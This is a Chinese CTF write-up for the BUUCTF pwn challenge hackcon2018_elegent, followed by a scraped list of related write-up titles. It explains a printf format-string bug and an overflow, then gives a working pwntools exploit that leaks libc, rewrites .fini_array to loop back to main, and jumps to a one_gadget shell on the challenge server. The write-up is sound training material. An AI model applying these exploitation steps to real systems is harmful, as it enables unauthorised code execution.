难度不大,坑点巨多。

全程没几句话,一个明显的printf+溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char format[64]; // [rsp+10h] [rbp-40h] BYREFprintf("Hola %s bois\n", "sup");puts("Give me some inputz: ");fflush(_bss_start);__isoc99_scanf("%128s", format);printf(format);putchar(10);fflush(_bss_start);return 0;
}

坑:

  1. 用scanf(%128s)读入数据,中间就不能带0,然后也不能带\n等
  2. 由于不能带0,printf的地址就只能写一个,而且这个地方高位原来不能有数据,必需选个0或者3-4位的位置;
  3. 由于不能带\n 就只能在最后写一个地址,如果要在got表上写东西就不行了,got表位置都来0x0a;
  4. 程序直接写在main里没有循环,如果覆盖_libc_start_main_ret就不能用printf获取libc,而且后边的地址没有libc上的,只有libc后边的地址,但这个地址不稳定,在远程相应位置没有,而且在不同的libc的情况下找不到对应值。
  5. 最后一个坑在本地完成后,一般情况下通过修改.fini_array改为_start作成循环但这里远程改完后,所在one_gadget都不能用,需要改成main。原题是2.19 在buu上改为2.27区别不小。

完整处理方法:

  1. %17$p 获取libc并同时修改.fini_array后两字节为main 实现循环
  2. 溢出写到ret覆盖为one,而且本地4个远程3个能用。
from pwn import *elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'def connect():global p,libc_elf,one,libc_start_main_ret,locallocal = 0if local == 1:p = process('./pwn')libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]libc_start_main_ret = 0x21a87else:p = remote('node4.buuoj.cn', 28452) libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]libc_start_main_ret = 0x21b97def pwn():#gdb.attach(p,'b*0x4006b6')#payload = b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'#0x6008c0 .fini_array 0x400630->0x400637 mainpayload = b'%1591c%11$hhnAAAA%17$p'.ljust(0x18, b'A')+ p64(0x6008c8)p.sendlineafter(b"Give me some inputz: \n", payload)p.recvuntil(b'AAAA')libc_base = int(p.recvuntil(b'AA', drop=True), 16) - libc_start_main_retone_gadget= libc_base + one[5]  #local 0,1,2,4 remote 0,1,5print('libc:', hex(libc_base))payload = b'A'*(0x48)+ p64(one_gadget)p.sendlineafter(b"Give me some inputz: \n", payload)p.sendline(b'cat /flag')p.interactive()connect()
pwn()

[BUUCTF-pwn] hackcon2018_elegent相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 异步社区本周半价电子书
  2. 产品运营必须知道的几个概念,如何进行网页分析?
  3. 104.全排列(深搜)搜索与回溯
  4. CentOS 6.5 初始值
  5. 13.4 MySQL用户管理;13.5 常用sql语句;13.6 MySQL数据库备份恢复
  6. 做了个专为“数据分析师”打造的刷题平台!
  7. 5G已来,你能做些什么?
  8. 单片机中存储器扩展位地址线怎么算_51单片机存储器小结
  9. 面试题,你什么时候可以入职?回答不好,容易被压薪资
  10. Spring Cloud Config统一管理微服务配置
  11. 三层交换机连接路由器时配置OSPF注意事项
  12. 推荐几个高质量图片网站,再也不怕没图装X了
  13. Qt Style Sheet实践(二):组合框QComboBox的定制
  14. java-集合框架库-HashMap
  15. pandas读取文件参数
  16. ARM基础与简单汇编
  17. Python基础(二) 基本数据类型①:整数型、布尔型、字符串
  18. Canvas+Socket搞出一个多人游玩的“我画你猜”
  19. 植物大战僵尸2平安时代全新玩法
  20. ILSpy反编译C#web程序

热门文章

  1. 麻省理工大学计算机博士后收入,申请MIT博后回复及后续 - 海外博后 - 小木虫 - 学术 科研 互动社区...
  2. Paper reading
  3. [android] 手机卫士号码归属地查询
  4. 你需要知道的8种数据结构
  5. Spring+quartz 动态任务调度
  6. Wet behind the ears 乳臭未干
  7. js捕获键盘事件之keydown、keyup以及keypress
  8. 0-1背包问题:输出最小背包
  9. hnoi2014米特运输
  10. 你是我的四月天[转自天涯]